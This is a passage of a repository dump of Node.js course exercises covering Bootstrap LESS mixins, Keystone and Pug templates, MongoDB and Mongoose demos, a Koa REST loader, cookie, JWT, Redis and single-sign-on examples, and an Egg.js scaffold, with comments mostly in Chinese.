11 | + .panel-collapse > .panel-body {
12 | border-top-color: @border;
13 | }
14 | .badge {
15 | color: @heading-bg-color;
16 | background-color: @heading-text-color;
17 | }
18 | }
19 | & > .panel-footer {
20 | + .panel-collapse > .panel-body {
21 | border-bottom-color: @border;
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/progress-bar.less:
--------------------------------------------------------------------------------
1 | // Progress bars
2 |
3 | .progress-bar-variant(@color) {
4 | background-color: @color;
5 |
6 | // Deprecated parent class requirement as of v3.2.0
7 | .progress-striped & {
8 | #gradient > .striped();
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/reset-filter.less:
--------------------------------------------------------------------------------
1 | // Reset filters for IE
2 | //
3 | // When you need to remove a gradient background, do not forget to use this to reset
4 | // the IE filter for IE9 and below.
5 |
6 | .reset-filter() {
7 | filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled = false)"));
8 | }
9 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/reset-text.less:
--------------------------------------------------------------------------------
1 | .reset-text() {
2 | font-family: @font-family-base;
3 | // We deliberately do NOT reset font-size.
4 | font-style: normal;
5 | font-weight: normal;
6 | letter-spacing: normal;
7 | line-break: auto;
8 | line-height: @line-height-base;
9 | text-align: left; // Fallback for where `start` is not supported
10 | text-align: start;
11 | text-decoration: none;
12 | text-shadow: none;
13 | text-transform: none;
14 | white-space: normal;
15 | word-break: normal;
16 | word-spacing: normal;
17 | word-wrap: normal;
18 | }
19 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/resize.less:
--------------------------------------------------------------------------------
1 | // Resize anything
2 |
3 | .resizable(@direction) {
4 | resize: @direction; // Options: horizontal, vertical, both
5 | overflow: auto; // Per CSS3 UI, `resize` only applies when `overflow` isn't `visible`
6 | }
7 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/responsive-visibility.less:
--------------------------------------------------------------------------------
1 | // Responsive utilities
2 |
3 | //
4 | // More easily include all the states for responsive-utilities.less.
5 | .responsive-visibility() {
6 | display: block !important;
7 | table& { display: table !important; }
8 | tr& { display: table-row !important; }
9 | th&,
10 | td& { display: table-cell !important; }
11 | }
12 |
13 | .responsive-invisibility() {
14 | display: none !important;
15 | }
16 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/size.less:
--------------------------------------------------------------------------------
1 | // Sizing shortcuts
2 |
3 | .size(@width; @height) {
4 | width: @width;
5 | height: @height;
6 | }
7 |
8 | .square(@size) {
9 | .size(@size; @size);
10 | }
11 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/tab-focus.less:
--------------------------------------------------------------------------------
1 | // WebKit-style focus
2 |
3 | .tab-focus() {
4 | // Default
5 | outline: thin dotted;
6 | // WebKit
7 | outline: 5px auto -webkit-focus-ring-color;
8 | outline-offset: -2px;
9 | }
10 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/table-row.less:
--------------------------------------------------------------------------------
1 | // Tables
2 |
3 | .table-row-variant(@state; @background) {
4 | // Exact selectors below required to override `.table-striped` and prevent
5 | // inheritance to nested tables.
6 | .table > thead > tr,
7 | .table > tbody > tr,
8 | .table > tfoot > tr {
9 | > td.@{state},
10 | > th.@{state},
11 | &.@{state} > td,
12 | &.@{state} > th {
13 | background-color: @background;
14 | }
15 | }
16 |
17 | // Hover states for `.table-hover`
18 | // Note: this is not available for cells or rows within `thead` or `tfoot`.
19 | .table-hover > tbody > tr {
20 | > td.@{state}:hover,
21 | > th.@{state}:hover,
22 | &.@{state}:hover > td,
23 | &:hover > .@{state},
24 | &.@{state}:hover > th {
25 | background-color: darken(@background, 5%);
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/text-emphasis.less:
--------------------------------------------------------------------------------
1 | // Typography
2 |
3 | .text-emphasis-variant(@color) {
4 | color: @color;
5 | a&:hover,
6 | a&:focus {
7 | color: darken(@color, 10%);
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/mixins/text-overflow.less:
--------------------------------------------------------------------------------
1 | // Text overflow
2 | // Requires inline-block or block for proper styling
3 |
4 | .text-overflow() {
5 | overflow: hidden;
6 | text-overflow: ellipsis;
7 | white-space: nowrap;
8 | }
9 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/responsive-embed.less:
--------------------------------------------------------------------------------
1 | // Embeds responsive
2 | //
3 | // Credit: Nicolas Gallagher and SUIT CSS.
4 |
5 | .embed-responsive {
6 | position: relative;
7 | display: block;
8 | height: 0;
9 | padding: 0;
10 | overflow: hidden;
11 |
12 | .embed-responsive-item,
13 | iframe,
14 | embed,
15 | object,
16 | video {
17 | position: absolute;
18 | top: 0;
19 | left: 0;
20 | bottom: 0;
21 | height: 100%;
22 | width: 100%;
23 | border: 0;
24 | }
25 | }
26 |
27 | // Modifier class for 16:9 aspect ratio
28 | .embed-responsive-16by9 {
29 | padding-bottom: 56.25%;
30 | }
31 |
32 | // Modifier class for 4:3 aspect ratio
33 | .embed-responsive-4by3 {
34 | padding-bottom: 75%;
35 | }
36 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/thumbnails.less:
--------------------------------------------------------------------------------
1 | //
2 | // Thumbnails
3 | // --------------------------------------------------
4 |
5 |
6 | // Mixin and adjust the regular image class
7 | .thumbnail {
8 | display: block;
9 | padding: @thumbnail-padding;
10 | margin-bottom: @line-height-computed;
11 | line-height: @line-height-base;
12 | background-color: @thumbnail-bg;
13 | border: 1px solid @thumbnail-border;
14 | border-radius: @thumbnail-border-radius;
15 | .transition(border .2s ease-in-out);
16 |
17 | > img,
18 | a > img {
19 | &:extend(.img-responsive);
20 | margin-left: auto;
21 | margin-right: auto;
22 | }
23 |
24 | // Add a hover state for linked versions only
25 | a&:hover,
26 | a&:focus,
27 | a&.active {
28 | border-color: @link-color;
29 | }
30 |
31 | // Image captions
32 | .caption {
33 | padding: @thumbnail-caption-padding;
34 | color: @thumbnail-caption-color;
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/bootstrap/wells.less:
--------------------------------------------------------------------------------
1 | //
2 | // Wells
3 | // --------------------------------------------------
4 |
5 |
6 | // Base class
7 | .well {
8 | min-height: 20px;
9 | padding: 19px;
10 | margin-bottom: 20px;
11 | background-color: @well-bg;
12 | border: 1px solid @well-border;
13 | border-radius: @border-radius-base;
14 | .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));
15 | blockquote {
16 | border-color: #ddd;
17 | border-color: rgba(0,0,0,.15);
18 | }
19 | }
20 |
21 | // Sizes
22 | .well-lg {
23 | padding: 24px;
24 | border-radius: @border-radius-large;
25 | }
26 | .well-sm {
27 | padding: 9px;
28 | border-radius: @border-radius-small;
29 | }
30 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/site.less:
--------------------------------------------------------------------------------
1 | // Bootstrap
2 | // =========
3 |
4 | // You can include less bootstrap components if you like by
5 | // importing the .less files you want directly, instead of
6 | // the main bootstrap/bootstrap.less file.
7 | //
8 | // Bootstrap can be removed entirely by deleting this line.
9 |
10 | @import "bootstrap/bootstrap.less";
11 |
12 | // The easiest way to customise Bootstrap variables while
13 | // being able to easily override the source files with new
14 | // versions is to override the ones you want in another file.
15 | //
16 | // You can also add your own custom variables to this file for
17 | // use in your site stylesheets.
18 |
19 | @import "site/variables.less";
20 |
21 |
22 | // Site Styles
23 | // ===========
24 |
25 | // Add your own site style includes here
26 | @import "site/layout.less";
27 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/site/layout.less:
--------------------------------------------------------------------------------
1 | #header {
2 | margin-top: 30px;
3 | }
4 |
5 | #footer {
6 | margin-top: 30px;
7 | border-top: 1px solid #eeeeee;
8 | padding-top: 30px;
9 | color: #777777;
10 | }
11 |
12 | .gallery-image img {
13 | display: block;
14 | max-width: 100%;
15 | height: auto;
16 | }
17 |
--------------------------------------------------------------------------------
/node/05/keystone/public/styles/site/variables.less:
--------------------------------------------------------------------------------
1 | // Override Bootstrap variables in this file, e.g.
2 |
3 | @font-size-base: 14px;
4 |
--------------------------------------------------------------------------------
/node/05/keystone/routes/views/gallery.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 |
3 | exports = module.exports = function (req, res) {
4 |
5 | var view = new keystone.View(req, res);
6 | var locals = res.locals;
7 |
8 | // Set locals
9 | locals.section = 'gallery';
10 |
11 | // Load the galleries by sortOrder
12 | view.query('galleries', keystone.list('Gallery').model.find().sort('sortOrder'));
13 |
14 | // Render the view
15 | view.render('gallery');
16 |
17 | };
18 |
--------------------------------------------------------------------------------
/node/05/keystone/routes/views/index.js:
--------------------------------------------------------------------------------
1 | var keystone = require('keystone');
2 |
3 | exports = module.exports = function (req, res) {
4 |
5 | var view = new keystone.View(req, res);
6 | var locals = res.locals;
7 |
8 | // locals.section is used to set the currently selected
9 | // item in the header navigation.
10 | locals.section = 'home';
11 |
12 | // Render the view
13 | view.render('index');
14 | };
15 |
--------------------------------------------------------------------------------
/node/05/keystone/templates/mixins/flash-messages.pug:
--------------------------------------------------------------------------------
1 | mixin flash-messages(messages)
2 | if messages
3 | #flash-messages.container
4 | each message in messages.info
5 | +flash-message(message, 'info')
6 | each message in messages.success
7 | +flash-message(message, 'success')
8 | each message in messages.warning
9 | +flash-message(message, 'warning')
10 | each message in messages.error
11 | +flash-message(message, 'danger')
12 |
13 | mixin flash-message(message, type)
14 | div(class='alert alert-' + type)
15 | if utils.isObject(message)
16 | if message.title
17 | h4= message.title
18 | if message.detail
19 | p= message.detail
20 | if message.list
21 | ul
22 | each item in message.list
23 | li= item
24 | else
25 | = message
--------------------------------------------------------------------------------
/node/05/keystone/templates/views/errors/404.pug:
--------------------------------------------------------------------------------
1 | extends ../../layouts/default
2 |
3 | block content
4 | .container
5 | h1 404
6 | p.lead Sorry, the page you requested can't be found.
--------------------------------------------------------------------------------
/node/05/keystone/templates/views/errors/500.pug:
--------------------------------------------------------------------------------
1 | extends ../../layouts/default
2 |
3 | block content
4 | .container
5 | h1 Error (500)
6 | p.lead Sorry, the site has encountered an error.
--------------------------------------------------------------------------------
/node/05/keystone/templates/views/gallery.pug:
--------------------------------------------------------------------------------
1 | extends ../layouts/default
2 |
3 | block intro
4 | .container
5 | h1 Gallery
6 |
7 | block content
8 | .container
9 | if galleries.length
10 | each gallery in galleries
11 | h2= gallery.name
12 | if gallery.publishedDate
13 | .pull-right.text-muted= gallery._.publishedDate.format('Do MMM YYYY')
14 |
15 | .row.gallery-images
16 | if gallery.heroImage.exists
17 | .col-sm-4.col-md-4.gallery-image: img(src=gallery._.heroImage.limit(680,680)).img-rounded
18 | .col-sm-8.col-md-8: .row
19 | each image in gallery.images
20 | .col-xs-4.col-sm-4.col-md-3.gallery-image: img(src=image.limit(300,300)).img-rounded
21 | else
22 | each image in gallery.images
23 | .col-xs-6.col-sm-4.col-md-3.gallery-image: img(src=image.limit(300,300)).img-rounded
24 | else
25 | h3.text-muted There are no image galleries yet.
26 |
--------------------------------------------------------------------------------
/node/05/mongo/initData.js:
--------------------------------------------------------------------------------
1 | const mongodb = require('./models/db')
2 | mongodb.once('connect', async () => {
3 | const col = mongodb.col('fruits')
4 | // 删除已存在
5 | await col.deleteMany()
6 | const data = new Array(100).fill().map((v, i) => {
7 | return { name: "XXX" + i, price: i, category: Math.random() > 0.5 ? '蔬菜' : '水果' }
8 | })
9 |
10 | // 插入
11 | await col.insertMany(data)
12 | console.log("插入测试数据成功")
13 | })
--------------------------------------------------------------------------------
/node/05/mongo/models/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | url: "mongodb://localhost:27017",
3 | dbName: 'test',
4 | }
--------------------------------------------------------------------------------
/node/05/mongo/models/db.js:
--------------------------------------------------------------------------------
1 | const conf = require('./conf')
2 | const { EventEmitter } = require('events')
3 |
4 | // 客户端
5 | const { MongoClient } = require('mongodb')
6 |
7 | class Mongodb {
8 | constructor(conf) {
9 | this.conf = conf
10 | this.emmiter = new EventEmitter()
11 | this.client = new MongoClient(conf.url, {
12 | useNewUrlParser: true
13 | })
14 | this.client.connect(err => {
15 | if (err) throw err
16 | console.log('连接成功')
17 | this.emmiter.emit('connect')
18 | })
19 |
20 |
21 | }
22 | col(colName, dbName = conf.dbName){
23 | return this.client.db(dbName).collection(colName)
24 | }
25 | once(event,cb){
26 | this.emmiter.once(event,cb)
27 | }
28 | }
29 |
30 | module.exports = new Mongodb(conf)
--------------------------------------------------------------------------------
/node/05/mongoose/cart/index.js:
--------------------------------------------------------------------------------
1 | const express=require('express')
2 | const app=new express();
3 | const bodyParser = require('body-parser');
4 | const path = require('path')
5 |
6 | // 数据库相关
7 | require('./mongoose')
8 | const UserModel = require('./models/user')
9 |
10 | // mock session
11 | const session = {sid:{userId:'5c1a2dce951e9160f0d8573b'}}
12 |
13 | app.use(bodyParser.json());
14 | app.get("/", (req, res) => {
15 | res.sendFile(path.resolve("./index.html"))
16 | })
17 | // 查询购物车数据
18 | app.get('/api/cart', async (req,res)=>{
19 | const data = await UserModel.getCart(session.sid.userId)
20 | res.send({ok:1, data})
21 | })
22 |
23 | // 设置购物车数据
24 | app.post('/api/cart', async (req,res)=>{
25 | await UserModel.setCart(session.sid.userId, req.body.cart)
26 | res.send({ok:1})
27 | })
28 |
29 | app.listen(3000);
--------------------------------------------------------------------------------
/node/05/mongoose/cart/models/user.js:
--------------------------------------------------------------------------------
1 | const mongoose = require("mongoose");
2 |
3 | const schema = mongoose.Schema({
4 | name: String,
5 | password: String,
6 | cart: []
7 | });
8 |
9 | schema.statics.getCart = function(_id) {
10 | return this.model("user")
11 | .findById(_id)
12 | .exec();
13 | };
14 |
15 | schema.statics.setCart = function(_id, cart) {
16 | return this.model("user")
17 | .findByIdAndUpdate(_id, { $set: { cart } })
18 | .exec();
19 | };
20 |
21 | const model = mongoose.model("user", schema);
22 |
23 | // 测试数据
24 | model.updateOne(
25 | { _id: "5c1a2dce951e9160f0d8573b" },
26 | { name: "jerry", cart: [{ pname: "iPhone", price: 666, count: 1 }] },
27 | { upsert: true },
28 | (err, r) => {
29 | console.log('测试数据');
30 | console.log(err, r);
31 | }
32 | );
33 |
34 | module.exports = model;
--------------------------------------------------------------------------------
/node/05/mongoose/cart/mongoose.js:
--------------------------------------------------------------------------------
1 | const mongoose = require("mongoose");
2 | // 1.连接
3 | mongoose.connect("mongodb://localhost:27017/test", { useNewUrlParser: true });
4 | const conn = mongoose.connection;
5 | conn.on("error", () => console.error("连接数据库失败"));
--------------------------------------------------------------------------------
/node/05/restful/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | db: {
3 | url:"mongodb://localhost:27017/test",
4 | options: { useNewUrlParser: true }
5 | }
6 | }
--------------------------------------------------------------------------------
/node/05/restful/framework/loader.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs')
2 | const path = require('path')
3 | const mongoose = require('mongoose')
4 |
5 | function load(dir, cb) {
6 | const url = path.resolve(__dirname, dir)
7 | const files = fs.readdirSync(url)
8 | files.forEach(filename => {
9 | filename = filename.replace('.js', '')
10 | const file = require(url + '/' + filename)
11 | cb(filename, file)
12 | })
13 | }
14 |
15 | const loadModel = config => app => {
16 | mongoose.connect(config.db.url, config.db.options)
17 |
18 | const conn = mongoose.connection
19 | conn.on('error', () => console.error('连接数据库失败'))
20 |
21 | app.$model = {}
22 | load('../model', (filename, { schema }) => {
23 | console.log('load model:' + filename, schema)
24 | app.$model[filename] = mongoose.model(filename, schema)
25 | })
26 |
27 | }
28 |
29 | module.exports = {
30 | loadModel
31 | }
--------------------------------------------------------------------------------
/node/05/restful/framework/router.js:
--------------------------------------------------------------------------------
1 | const router = require('koa-router')()
2 | const {
3 | init, get, create, update, del,list
4 | } = require('./api')
5 |
6 | router.get('/api/:list/:id', init, get)
7 | router.get('/api/:list', init, list)
8 | router.post('/api/:list', init,create)
9 | router.put('/api/:list/:id', init, update)
10 | router.delete('/api/:list/:id', init, del)
11 |
12 | module.exports = router.routes()
--------------------------------------------------------------------------------
/node/05/restful/index.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const app = new Koa()
3 |
4 | const config = require('./conf')
5 |
6 | const { loadModel } = require('./framework/loader')
7 | loadModel(config)(app)
8 |
9 |
10 | const bodyParser = require('koa-bodyparser')
11 | app.use(bodyParser())
12 | app.use(require('koa-static')(__dirname + '/'))
13 | const restful = require('./framework/router')
14 | app.use(restful)
15 |
16 |
17 | const port = 3000
18 | app.listen(port, () => {
19 | console.log(`app started at port ${port}`)
20 | })
--------------------------------------------------------------------------------
/node/05/restful/model/user.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | schema: {
3 | mobile: { type: String, required: true },
4 | realName: { type: String, required: true },
5 | }
6 | }
--------------------------------------------------------------------------------
/node/06/cookie.js:
--------------------------------------------------------------------------------
1 | const http = require('http')
2 | const session = {}
3 | http.createServer((req, res) => {
4 | const sessionKey = 'sid'
5 |
6 | if (req.url === '/favicon.ico') {
7 | return
8 | } else {
9 | const cookie = req.headers.cookie
10 | if (cookie && cookie.indexOf(sessionKey) > -1) {
11 | res.end('Come Back')
12 | console.log('cookie:', req.headers.cookie)
13 | // 简略写法未必具有通用性
14 | const pattern = new RegExp(`${sessionKey}=([^;]+);?\s*`)
15 | const sid = pattern.exec(cookie)[1]
16 | console.log('session:', sid, session, session[sid])
17 | } else {
18 | const sid = (Math.random() * 9999999).toFixed()
19 | res.setHeader('Set-Cookie', `${sessionKey}=${sid}`)
20 | session[sid] = { name: 'laowang' }
21 | res.end('hello cookie')
22 | }
23 | }
24 |
25 | }).listen(3000)
--------------------------------------------------------------------------------
/node/06/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | redis:
4 | image: redis
5 | ports:
6 | - "6379:6379"
7 |
--------------------------------------------------------------------------------
/node/06/jsonwebtoken.js:
--------------------------------------------------------------------------------
1 | // jsonwebtoken.js
2 |
3 | const jsonwebtoken = require('jsonwebtoken')
4 | const secret = '12345678'
5 | const opt = {
6 | secret: 'jwt_secret',
7 | key: 'user'
8 | }
9 | const user = {
10 | username: 'abc',
11 | password: '111111'
12 | }
13 |
14 | const token = jsonwebtoken.sign({
15 | data: user,
16 | // 设置 token 过期时间
17 | exp: Math.floor(Date.now() / 1000) + (60 * 60),
18 | }, secret)
19 |
20 | console.log('生成token:' + token)
21 | // 生成token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWJjIiwicGFzc3dvcmQiOiIxMTExMTEifSwiZXhwIjoxNTQ2OTQyMzk1LCJpYXQiOjE1NDY5Mzg3OTV9.VPBCQgLB7XPBq3RdHK9WQMkPp3dw65JzEKm_LZZjP9Y
22 | console.log('解码:', jsonwebtoken.verify(token, secret, opt))
23 | // 解码: { data: { username: 'abc', password: '111111' },
24 | // exp: 1546942395,
25 | // iat: 1546938795 }
--------------------------------------------------------------------------------
/node/06/oauth-simple/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
10 |
11 |
--------------------------------------------------------------------------------
/node/06/qrcode/index.js:
--------------------------------------------------------------------------------
1 | var app = require('express')();
2 | var http = require('http').Server(app);
3 | var io = require('socket.io')(http);
4 | const ip = '192.168.84.225';
5 |
6 | const port = 3000;
7 | app.get('/', function (req, res) {
8 | res.sendFile(__dirname + '/index.html');
9 | })
10 | app.get('/auth/login/:id', (req, res) => {
11 | console.log('param',req.params.id,io.sockets[req.params.id])
12 | // 认证id
13 | // io[req.params.id]
14 | // io.send('success', '登录成功');
15 | res.end('scan success')
16 | })
17 |
18 |
19 | io.on('connection', function (socket) {
20 | console.log('a user connected', socket.id);
21 |
22 | socket.emit('qrcode', `http://${ip}:${port}/auth/login/${socket.id}`)
23 |
24 |
25 | socket.on('disconnect', function () {
26 | console.log('user disconnected');
27 | });
28 | });
29 | // ip绑定需要设定一下
30 | http.listen(port, ip, function () {
31 | console.log('listening on *:3000');
32 | });
33 |
34 |
--------------------------------------------------------------------------------
/node/06/redis.js:
--------------------------------------------------------------------------------
1 | const redis = require('redis')
2 | const client = redis.createClient(6379,'localhost')
3 |
4 | client.set('hello','hahaha')
5 | client.get('hello',function(err,v){
6 | console.log('redis key:',v)
7 | })
8 |
--------------------------------------------------------------------------------
/node/06/sso/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_store
2 | .idea
3 |
4 | node_modules
--------------------------------------------------------------------------------
/node/06/sso/README.md:
--------------------------------------------------------------------------------
1 | # Node.js 单点登录实例
2 |
3 | 一个基于 Express 实现的 Node.js 单点登录实例,核心思路是通过重定向到统一的认证中心进行登录验证。
4 |
5 | 不过,通过研究淘宝 & 天猫、京东和谷歌的单点登录机制发现,他们都是通过跨域设置 cookie 来实现的,其中淘宝和京东通过 JSONP 设置,谷歌通过重定向方式设置,计划日后通过这样的方式再实现一个例子。
6 |
7 | ## 如何测试
8 |
9 | 运行 Demo 需要先安装 Node.js 和 Yarn。
10 |
11 | 1. **克隆仓库并安装依赖**:
12 |
13 | ```bash
14 | $ git clone https://github.com/hezhii/nodejs-sso-example.git
15 | $ cd nodejs-sso-example
16 | $ yarn install
17 | ```
18 |
19 | 2. **启动服务**
20 | 然后分别启动三个服务:
21 |
22 | ```bash
23 | $ cd passport
24 | $ node app.js
25 | $ cd ../system
26 | $ PORT=8081 SERVER_NAME=a node app.js
27 | $ PORT=8082 SERVER_NAME=b node app.js
28 | ```
29 |
30 | 测试用户名/密码
31 |
32 | 3. **测试**
33 |
34 | 打开浏览器访问 `localhost:8081`,发现会被重定向到 `localhost:8080`,输入用户名和密码后登录。
35 |
36 | 接着新开一个窗口访问 `localhost:8082`,发现不需要登录直接可以访问。
37 |
--------------------------------------------------------------------------------
/node/06/sso/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "nodejs-sso-example",
3 | "version": "1.0.0",
4 | "description": "An example of a single sign on node.js",
5 | "main": "index.js",
6 | "author": "biu",
7 | "license": "MIT",
8 | "dependencies": {
9 | "body-parser": "^1.17.2",
10 | "cookie-parser": "^1.4.3",
11 | "ejs": "^2.5.7",
12 | "express": "^4.15.4",
13 | "express-session": "^1.15.5",
14 | "request": "^2.81.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/node/06/sso/passport/app.js:
--------------------------------------------------------------------------------
1 | const http = require('http');
2 | const express = require('express');
3 | const path = require('path');
4 | const cookieParser = require('cookie-parser');
5 | const bodyParser = require('body-parser');
6 |
7 | const login = require('./routes/login');
8 | const checkToken = require('./routes/check-token');
9 |
10 | const app = express();
11 |
12 | app.set('views', path.join(__dirname, 'views'));
13 | app.set('view engine', 'ejs');
14 |
15 | app.use(bodyParser.json());
16 | app.use(bodyParser.urlencoded({extended: false}));
17 | app.use(cookieParser());
18 |
19 | app.use('/login', login);
20 | app.use('/check_token', checkToken);
21 |
22 | let port = process.env.PORT || 8080;
23 | app.set('port', port);
24 |
25 | let server = http.createServer(app);
26 |
27 | server.listen(port, function () {
28 | console.log(`Server passport listening on port: ${port}`);
29 | });
--------------------------------------------------------------------------------
/node/06/sso/passport/routes/check-token.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const express = require('express');
4 | const service = require('../service');
5 | const router = express.Router();
6 |
7 | router.get('/', function (req, res, next) {
8 | var token = req.query.token;
9 | var result = {
10 | error: 1, //登录失败
11 | };
12 | if (service.isTokenValid(token)) {
13 | result.error = 0;
14 | result.userId = 'test';
15 | }
16 | res.json(result);
17 | });
18 |
19 | module.exports = router;
20 |
--------------------------------------------------------------------------------
/node/06/sso/passport/service/index.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | *
5 | * @param {String} token
6 | * @return {Boolean}
7 | */
8 | function isTokenValid(token) {
9 | // TODO 从存储系统中查找相应 token 信息,判断 token 的合法性
10 | if (token && token === 'passport') {
11 | return true;
12 | }
13 | return false;
14 | }
15 |
16 | module.exports = {
17 | isTokenValid
18 | };
19 |
--------------------------------------------------------------------------------
/node/06/sso/passport/views/login.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | 统一登录passport
5 |
6 |
7 | 统一登录passport
8 |
9 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/node/06/sso/system/app.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const express = require('express');
4 | const path = require('path');
5 | const session = require('express-session');
6 | const http = require('http');
7 |
8 | const index = require('./routes/index');
9 |
10 | const app = express();
11 |
12 | app.set('views', path.join(__dirname, 'views'));
13 | app.set('view engine', 'ejs');
14 |
15 | /*
16 | * 这里设置 cookie 中 sessionID 的过期时间为默认,即浏览器关闭后失效,并且 session 直接保存在内存中。
17 | *
18 | * 通过 cookie.maxAge 设置 cookie 中 sessionID 的过期时间,可以使 sessionID 的保存时间更久,并且 session 持久化。
19 | */
20 | app.use(session({
21 | secret: 'passport',
22 | resave: false,
23 | saveUninitialized: false,
24 | }));
25 |
26 | app.use('/', index);
27 |
28 | let port = process.env.PORT || 8081;
29 | app.set('port', port);
30 |
31 | let server = http.createServer(app);
32 |
33 | server.listen(port, function () {
34 | console.log(`Server ${process.env.SERVER_NAME} listening on port: ${port}`);
35 | });
--------------------------------------------------------------------------------
/node/06/sso/system/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
7 |
8 | <%= system %> 系统-www.<%= system %>.com
9 |
10 |
11 | 你好,<%= user %>!欢迎访问 <%= system %> 系统。
12 |
13 |
--------------------------------------------------------------------------------
/node/07/egg/.autod.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | module.exports = {
4 | write: true,
5 | prefix: '^',
6 | plugin: 'autod-egg',
7 | test: [
8 | 'test',
9 | 'benchmark',
10 | ],
11 | dep: [
12 | 'egg',
13 | 'egg-scripts',
14 | ],
15 | devdep: [
16 | 'egg-ci',
17 | 'egg-bin',
18 | 'egg-mock',
19 | 'autod',
20 | 'autod-egg',
21 | 'eslint',
22 | 'eslint-config-egg',
23 | ],
24 | exclude: [
25 | './test/fixtures',
26 | './dist',
27 | ],
28 | };
29 |
30 |
--------------------------------------------------------------------------------
/node/07/egg/.eslintignore:
--------------------------------------------------------------------------------
1 | coverage
2 |
--------------------------------------------------------------------------------
/node/07/egg/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "eslint-config-egg"
3 | }
4 |
--------------------------------------------------------------------------------
/node/07/egg/.gitignore:
--------------------------------------------------------------------------------
1 | logs/
2 | npm-debug.log
3 | yarn-error.log
4 | node_modules/
5 | package-lock.json
6 | yarn.lock
7 | coverage/
8 | .idea/
9 | run/
10 | .DS_Store
11 | *.sw*
12 | *.un~
13 | typings/
14 | .nyc_output/
15 |
--------------------------------------------------------------------------------
/node/07/egg/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: false
2 | language: node_js
3 | node_js:
4 | - '10'
5 | before_install:
6 | - npm i npminstall -g
7 | install:
8 | - npminstall
9 | script:
10 | - npm run ci
11 | after_script:
12 | - npminstall codecov && codecov
13 |
--------------------------------------------------------------------------------
/node/07/egg/README.md:
--------------------------------------------------------------------------------
1 | # egg
2 |
3 |
4 |
5 | ## QuickStart
6 |
7 |
8 |
9 | see [egg docs][egg] for more detail.
10 |
11 | ### Development
12 |
13 | ```bash
14 | $ npm i
15 | $ npm run dev
16 | $ open http://localhost:7001/
17 | ```
18 |
19 | ### Deploy
20 |
21 | ```bash
22 | $ npm start
23 | $ npm stop
24 | ```
25 |
26 | ### npm scripts
27 |
28 | - Use `npm run lint` to check code style.
29 | - Use `npm test` to run unit test.
30 | - Use `npm run autod` to auto detect dependencies upgrade, see [autod](https://www.npmjs.com/package/autod) for more detail.
31 |
32 |
33 | [egg]: https://eggjs.org
--------------------------------------------------------------------------------
/node/07/egg/app/controller/home.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const Controller = require('egg').Controller;
4 |
5 | class HomeController extends Controller {
6 | async index() {
7 | const { ctx } = this;
8 | ctx.body = 'hi, egg8888';
9 | }
10 | }
11 |
12 | module.exports = HomeController;
13 |
--------------------------------------------------------------------------------
/node/07/egg/app/controller/user.js:
--------------------------------------------------------------------------------
1 | const Controller = require('egg').Controller
2 | class UserController extends Controller {
3 | async index() {
4 | // this.ctx.body = [
5 | // { name: 'tom' }
6 | // ]
7 | const { ctx } = this
8 | ctx.body = await ctx.service.user.getAll()
9 | }
10 |
11 | }
12 | module.exports = UserController
--------------------------------------------------------------------------------
/node/07/egg/app/model/user.js:
--------------------------------------------------------------------------------
1 | module.exports = app => {
2 | const { STRING } = app.Sequelize;
3 |
4 | const User = app.model.define(
5 | "user",
6 | { name: STRING(30) },
7 | { timestamps: false }
8 | );
9 |
10 | // 数据库同步
11 | User.sync({force: true})
12 |
13 | return User;
14 | };
--------------------------------------------------------------------------------
/node/07/egg/app/router.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | /**
4 | * @param {Egg.Application} app - egg application
5 | */
6 | module.exports = app => {
7 | const { router, controller } = app;
8 | router.get('/', controller.home.index);
9 | router.get('/user',controller.user.index)
10 | };
11 |
--------------------------------------------------------------------------------
/node/07/egg/app/service/user.js:
--------------------------------------------------------------------------------
1 | const Service = require('egg').Service
2 |
3 | class UserService extends Service {
4 | async getAll() {
5 | // return [
6 | // { name: 'jerry' }
7 | // ]
8 |
9 | return await this.ctx.model.User.findAll()
10 | }
